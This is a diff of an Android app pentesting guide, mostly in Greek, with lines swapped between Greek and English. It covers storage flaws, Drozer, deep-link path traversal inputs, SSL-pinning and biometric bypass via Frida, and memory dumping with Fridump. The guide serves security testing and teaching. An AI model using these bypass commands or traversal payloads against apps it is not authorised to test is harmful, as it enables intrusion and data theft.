* **Εκδόσεις SDK**: Τα χαρακτηριστικά `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία της μη υποστήριξης παλαιών, ευάλωτων εκδόσεων Android για λόγους ασφαλείας.
Από το αρχείο **strings.xml**, ευαίσθητες πληροφορίες όπως API κλειδιά, προσαρμοσμένα σχήματα και άλλες σημειώσεις προγραμματιστών μπορούν να ανακαλυφθούν, υπογραμμίζοντας την ανάγκη προσεκτικής ανασκόπησης αυτών των πόρων.
Από το αρχείο **strings.xml**, ευαίσθητες πληροφορίες όπως API κλειδιά, προσαρμοσμένα σχήματα και άλλες σημειώσεις προγραμματιστών μπορούν να ανακαλυφθούν, υπογραμμίζοντας την ανάγκη για προσεκτική ανασκόπηση αυτών των πόρων.
### Tapjacking
@ -113,9 +113,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
[tapjacking.md](tapjacking.md)
{% endcontent-ref %}
### Hijacking Εργασιών
### Hijacking Εργασίας
Μια **δραστηριότητα** με το **`launchMode`** ορισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε hijacking εργασιών. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask`** χωρίς καμία καθορισμένη `taskAffinity` είναι ευάλωτη σε hijacking εργασίας. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή, θα μπορούσε να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
Περισσότερες πληροφορίες στο:
@ -130,9 +130,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας είναι **επιβεβλημένο** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφάλειας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
1. **Στατική Ανάλυση:**
* **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**.
* **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένη ή μη εξουσιοδοτημένη πρόσβαση**.
2. **Δυναμική Ανάλυση:**
* **Επαληθεύστε** τις **άδειες** που έχουν οριστεί στα αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ορισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
* **Επαληθεύστε** τις **άδειες** που έχουν οριστεί στα αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ρυθμισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
**Εξωτερική Αποθήκευση**
@ -144,7 +144,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
* Δεδομένης της ευκολίας πρόσβασης, συνιστάται **να μην αποθηκεύετε ευαίσθητες πληροφορίες** στην εξωτερική αποθήκευση.
* Η εξωτερική αποθήκευση μπορεί να αφαιρεθεί ή να προσπελαστεί από οποιαδήποτε εφαρμογή, καθιστώντας την λιγότερο ασφαλή.
3. **Διαχείριση Δεδομένων από Εξωτερική Αποθήκευση**:
* Πάντα **εκτελέστε έλεγχο εισόδου** στα δεδομένα που ανακτώνται από την εξωτερική αποθήκευση. Αυτό είναι κρίσιμο επειδή τα δεδομένα προέρχονται από μια μη αξιόπιστη πηγή.
* Πάντα **εκτελέστε έλεγχο εισόδου** στα δεδομένα που ανακτώνται από την εξωτερική αποθήκευση. Αυτό είναι κρίσιμο καθώς τα δεδομένα προέρχονται από μια μη αξιόπιστη πηγή.
* Η αποθήκευση εκτελέσιμων ή αρχείων κλάσης στην εξωτερική αποθήκευση για δυναμική φόρτωση αποθαρρύνεται έντονα.
* Εάν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από την εξωτερική αποθήκευση, βεβαιωθείτε ότι αυτά τα αρχεία είναι **υπογεγραμμένα και κρυπτογραφικά επαληθευμένα** πριν φορτωθούν δυναμικά. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ασφάλειας της εφαρμογής σας.
@ -172,21 +172,21 @@ A good way to test this is to try to capture the traffic using some proxy like B
### Broken Cryptography
**Poor Key Management Processes**
**Κακές διαδικασίες διαχείρισης κλειδιών**
Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες.
Some developers save sensitive data in the local storage and encrypt it with a key hardcoded/predictable in the code. This shouldn't be done as some reversing could allow attackers to extract the confidential information.
**Use of Insecure and/or Deprecated Algorithms**
**Χρήση ανασφαλών και/ή παρωχημένων αλγορίθμων**
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **παρωχημένους αλγόριθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγόριθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
Developers shouldn't use **παρωχημένους αλγορίθμους** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt.
### Other checks
* Είναι προτιμότερο να **παραποιείτε το APK** για να δυσκολέψετε τη δουλειά του αναστροφέα για τους επιτιθέμενους.
* Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
* Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
* Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
* Χρησιμοποιήστε [**APKiD**](https://github.com/rednaga/APKiD) για να ελέγξετε ποιος compiler/packer/obfuscator χρησιμοποιήθηκε για την κατασκευή του APK
* It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers.
* If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence.
* If the app is sensitive (like bank apps), it should check if an **emulator** is being used.
* If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified.
* Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
### React Native Application
@ -239,7 +239,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -311,7 +311,7 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging**
Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των καταγραφών εφαρμογών για την αναγνώριση και προστασία ευαίσθητων πληροφοριών. **Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
{% hint style="warning" %}
Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
@ -320,26 +320,26 @@ Anyway, it's still recommended to **not log sensitive information**.
**Copy/Paste Buffer Caching**
Το πλαίσιο **clipboard-based** του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει σε κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιείτε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποτραπούν οι διαρροές δεδομένων.
Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks.
**Crash Logs**
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει καταγραφές**, αυτές οι καταγραφές μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριαστεί αυτός ο κίνδυνος, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν οι καταγραφές πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια.
If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security.
As pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω ακατάλληλης υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε τρίτες υπηρεσίες.
Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services.
### SQLite DBs
Οι περισσότερες εφαρμογές θα χρησιμοποιούν **εσωτερικές βάσεις δεδομένων SQLite** για να αποθηκεύσουν πληροφορίες. Κατά τη διάρκεια της pentest, ρίξτε μια **ματιά** στις **βάσεις δεδομένων** που δημιουργούνται, τα ονόματα των **πινάκων** και **στηλών** και όλα τα **δεδομένα** που αποθηκεύονται γιατί θα μπορούσατε να βρείτε **ευαίσθητες πληροφορίες** (που θα ήταν μια ευπάθεια).\
Οι βάσεις δεδομένων θα πρέπει να βρίσκονται στο `/data/data/the.package.name/databases` όπως `/data/data/com.mwr.example.sieve/databases`
Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\
Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases`
Αν η βάση δεδομένων αποθηκεύει εμπιστευτικές πληροφορίες και είναι **κρυπτογραφημένη** αλλά μπορείτε να **βρείτε** τον **κωδικό πρόσβασης** μέσα στην εφαρμογή, είναι ακόμα μια **ευπάθεια**.
If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
Αριθμήστε τους πίνακες χρησιμοποιώντας `.tables` και αριθμήστε τις στήλες των πινάκων κάνοντας `.schema <table_name>`
Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema <table_name>`
### Drozer (Exploit Activities, Content Providers and Services)
@ -367,21 +367,21 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**ΣΗΜΕΙΩΣΗ**: Το MobSF θα ανιχνεύσει ως κακόβουλη τη χρήση του _**singleTask/singleInstance**_ ως `android:launchMode` σε μια δραστηριότητα, αλλά λόγω [αυτού](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), προφανώς αυτό είναι επικίνδυνο μόνο σε παλιές εκδόσεις (API εκδόσεις < 21).
{% hint style="info" %}
Σημειώστε ότι μια παράκαμψη εξουσιοδότησης δεν είναι πάντα μια ευπάθεια, θα εξαρτηθεί από το πώς λειτουργεί η παράκαμψη και ποιες πληροφορίες εκτίθενται.
Σημειώστε ότι μια παράκαμψη εξουσιοδότησης δεν είναι πάντα ευπάθεια, θα εξαρτηθεί από το πώς λειτουργεί η παράκαμψη και ποιες πληροφορίες εκτίθενται.
{% endhint %}
**Διαρροή ευαίσθητων πληροφοριών**
**Οι δραστηριότητες μπορούν επίσης να επιστρέφουν αποτελέσματα**. Αν καταφέρετε να βρείτε μια εξαγόμενη και μη προστατευμένη δραστηριότητα που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει διαρροή ευαίσθητων πληροφοριών.
**Οι δραστηριότητες μπορούν επίσης να επιστρέφουν αποτελέσματα**. Εάν καταφέρετε να βρείτε μια εξαγόμενη και μη προστατευμένη δραστηριότητα που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει διαρροή ευαίσθητων πληροφοριών.
#### Tapjacking
Αν το tapjacking δεν προληφθεί, θα μπορούσατε να εκμεταλλευτείτε τη εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελεί απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](./#tapjacking).
Εάν δεν προληφθεί το tapjacking, θα μπορούσατε να εκμεταλλευτείτε τη εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](./#tapjacking).
### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Πάροχος Περιεχομένου.**](android-applications-basics.md#content-provider)\
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Αν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
[**Μάθετε πώς να εκμεταλλευτείτε τους Παρόχους Περιεχομένου με το Drozer.**](drozer-tutorial/#content-providers)
@ -390,7 +390,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Υπηρεσία.**](android-applications-basics.md#services)\
Θυμηθείτε ότι οι ενέργειες μιας Υπηρεσίας ξεκινούν στη μέθοδο `onStartCommand`.
Μια υπηρεσία είναι βασικά κάτι που **μπορεί να λάβει δεδομένα**, **να τα επεξεργαστεί** και **να επιστρέψει** (ή όχι) μια απάντηση. Έτσι, αν μια εφαρμογή εξάγει κάποιες υπηρεσίες, θα πρέπει να **ελέγξετε** τον **κώδικα** για να κατανοήσετε τι κάνει και να **δοκιμάσετε** το **δυναμικά** για να εξάγετε εμπιστευτικές πληροφορίες, παρακάμπτοντας μέτρα αυθεντικοποίησης...\
Μια υπηρεσία είναι βασικά κάτι που **μπορεί να λάβει δεδομένα**, **να τα επεξεργαστεί** και **να επιστρέψει** (ή όχι) μια απάντηση. Έτσι, εάν μια εφαρμογή εξάγει κάποιες υπηρεσίες, θα πρέπει να **ελέγξετε** τον **κώδικα** για να κατανοήσετε τι κάνει και να **δοκιμάσετε** το **δυναμικά** για να εξάγετε εμπιστευτικές πληροφορίες, παρακάμπτοντας μέτρα αυθεντικοποίησης...\
[**Μάθετε πώς να εκμεταλλευτείτε τις Υπηρεσίες με το Drozer.**](drozer-tutorial/#services)
### **Εκμετάλλευση Δέκτες Εκπομπών**
@ -435,7 +435,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
**Παράμετροι στη διαδρομή**
Πρέπει επίσης να **ελέγξετε αν κάποιο deep link χρησιμοποιεί μια παράμετρο μέσα στη διαδρομή** του URL όπως: `https://api.example.com/v1/users/{username}`, σε αυτή την περίπτωση μπορείτε να αναγκάσετε μια διαδρομή traversal αποκτώντας πρόσβαση σε κάτι όπως: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Πρέπει να **ελέγξετε επίσης αν κάποιο deep link χρησιμοποιεί μια παράμετρο μέσα στη διαδρομή** του URL όπως: `https://api.example.com/v1/users/{username}`, σε αυτή την περίπτωση μπορείτε να αναγκάσετε μια διαδρομή traversal αποκτώντας πρόσβαση σε κάτι όπως: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να είστε σε θέση να προκαλέσετε μια **Open Redirect** (αν μέρος της διαδρομής χρησιμοποιείται ως όνομα τομέα), **κατάληψη λογαριασμού** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/).
**Περισσότερα παραδείγματα**
@ -464,7 +464,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
#### Παράκαμψη SSL Pinning
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
Όταν εφαρμόζεται το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
* Αυτόματα **τροποποιήστε** το **apk** για να **παράκαμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα.
* Μπορείτε να χρησιμοποιήσετε **Frida** (που συζητείται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ έχετε έναν οδηγό για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
@ -490,7 +490,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
### **Dump Memory - Fridump**
Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες μέσα στη μνήμη που δεν θα έπρεπε να αποθηκεύει, όπως κωδικούς πρόσβασης ή μνημονικά.
Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες μέσα στη μνήμη που δεν θα έπρεπε να αποθηκεύει όπως κωδικούς πρόσβασης ή μνημονικά.
Χρησιμοποιώντας [**Fridump3**](https://github.com/rootbsd/fridump3) μπορείτε να κάνετε dump τη μνήμη της εφαρμογής με:
```bash
@ -501,7 +501,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Αυτό θα εκφορτώσει τη μνήμη στον φάκελο ./dump, και εκεί μπορείτε να κάνετε grep με κάτι όπως:
Αυτό θα εκτυπώσει τη μνήμη στον φάκελο ./dump, και εκεί μπορείτε να κάνετε grep με κάτι όπως:
{% code overflow="wrap" %}
```bash
@ -537,71 +537,71 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
Τα στιγμιότυπα συνήθως αποθηκεύονται γύρω από: **`/data/system_ce/0/snapshots`**
Το Android παρέχει έναν τρόπο να **αποτρέψει τη λήψη στιγμιότυπων οθόνης ρυθμίζοντας την παράμετρο διάταξης FLAG\_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνιση σε στιγμιότυπα οθόνης ή την προβολή σε μη ασφαλείς οθόνες.
Το Android παρέχει έναν τρόπο να **αποτρέψει την καταγραφή οθόνης ρυθμίζοντας την παράμετρο διάταξης FLAG\_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνιση σε στιγμιότυπα οθόνης ή την προβολή σε μη ασφαλείς οθόνες.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Αναλυτής Εφαρμογών Android**
### **Android Application Analyzer**
Αυτό το εργαλείο μπορεί να σας βοηθήσει να διαχειριστείτε διάφορα εργαλεία κατά τη διάρκεια της δυναμικής ανάλυσης: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
### Εισαγωγή Intent
### Intent Injection
Οι προγραμματιστές συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα περνούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, οι οποίες μπορεί να είναι επικίνδυνες.
Οι προγραμματιστές συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα περνούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, κάτι που μπορεί να είναι επικίνδυνο.
Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογών ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
Ο κίνδυνος έγκειται στο να επιτρέπεται στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογών ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intents.
### Βασικά Σημεία
### Essential Takeaways
* **Εισαγωγή Intent** είναι παρόμοια με το πρόβλημα Open Redirect του ιστού.
* **Intent Injection** είναι παρόμοιο με το πρόβλημα Open Redirect του ιστού.
* Οι εκμεταλλεύσεις περιλαμβάνουν την παράδοση αντικειμένων `Intent` ως extras, τα οποία μπορούν να ανακατευθυνθούν για να εκτελέσουν μη ασφαλείς λειτουργίες.
* Μπορεί να εκθέσει μη εξαγόμενα components και content providers στους επιτιθέμενους.
* Μπορεί να εκθέσει μη εξαγόμενα components και content providers σε επιτιθέμενους.
* Η μετατροπή URL σε `Intent` του `WebView` μπορεί να διευκολύνει ακούσιες ενέργειες.
### Εισαγωγές από την πλευρά του πελάτη Android και άλλα
### Android Client Side Injections and others
Πιθανώς γνωρίζετε για αυτούς τους τύπους ευπαθειών από τον Ιστό. Πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια εφαρμογή Android:
* **SQL Injection:** Όταν ασχολείστε με δυναμικά queries ή Content-Providers, βεβαιωθείτε ότι χρησιμοποιείτε παραμετροποιημένα queries.
* **JavaScript Injection (XSS):** Ελέγξτε ότι η υποστήριξη JavaScript και Plugin είναι απενεργοποιημένη για οποιαδήποτε WebViews (απενεργοποιημένη από προεπιλογή). [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
* **Τοπική Συμπερίληψη Αρχείων:** Οι WebViews θα πρέπει να έχουν απενεργοποιημένη την πρόσβαση στο σύστημα αρχείων (ενεργοποιημένη από προεπιλογή) - `(webview.getSettings().setAllowFileAccess(false);)`. [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
* **Διαρκή cookies**: Σε πολλές περιπτώσεις, όταν η εφαρμογή android ολοκληρώνει τη συνεδρία, το cookie δεν ανακαλείται ή μπορεί ακόμη και να αποθηκευτεί στον δίσκο.
* **Local File Inclusion:** Οι WebViews θα πρέπει να έχουν την πρόσβαση στο σύστημα αρχείων απενεργοποιημένη (ενεργοποιημένη από προεπιλογή) - `(webview.getSettings().setAllowFileAccess(false);)`. [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
* **Eternal cookies**: Σε πολλές περιπτώσεις, όταν η εφαρμογή android ολοκληρώνει τη συνεδρία, το cookie δεν ανακαλείται ή μπορεί ακόμη και να αποθηκευτεί στον δίσκο.
* [**Secure Flag** στα cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Ενημερώσεις για το Hacking**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στη συγκίνηση και τις προκλήσεις του hacking
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Νέα Hack σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφορμών
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Ελάτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Αυτόματη Ανάλυση
## Automatic Analysis
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
**Στατική ανάλυση**
**Static analysis**
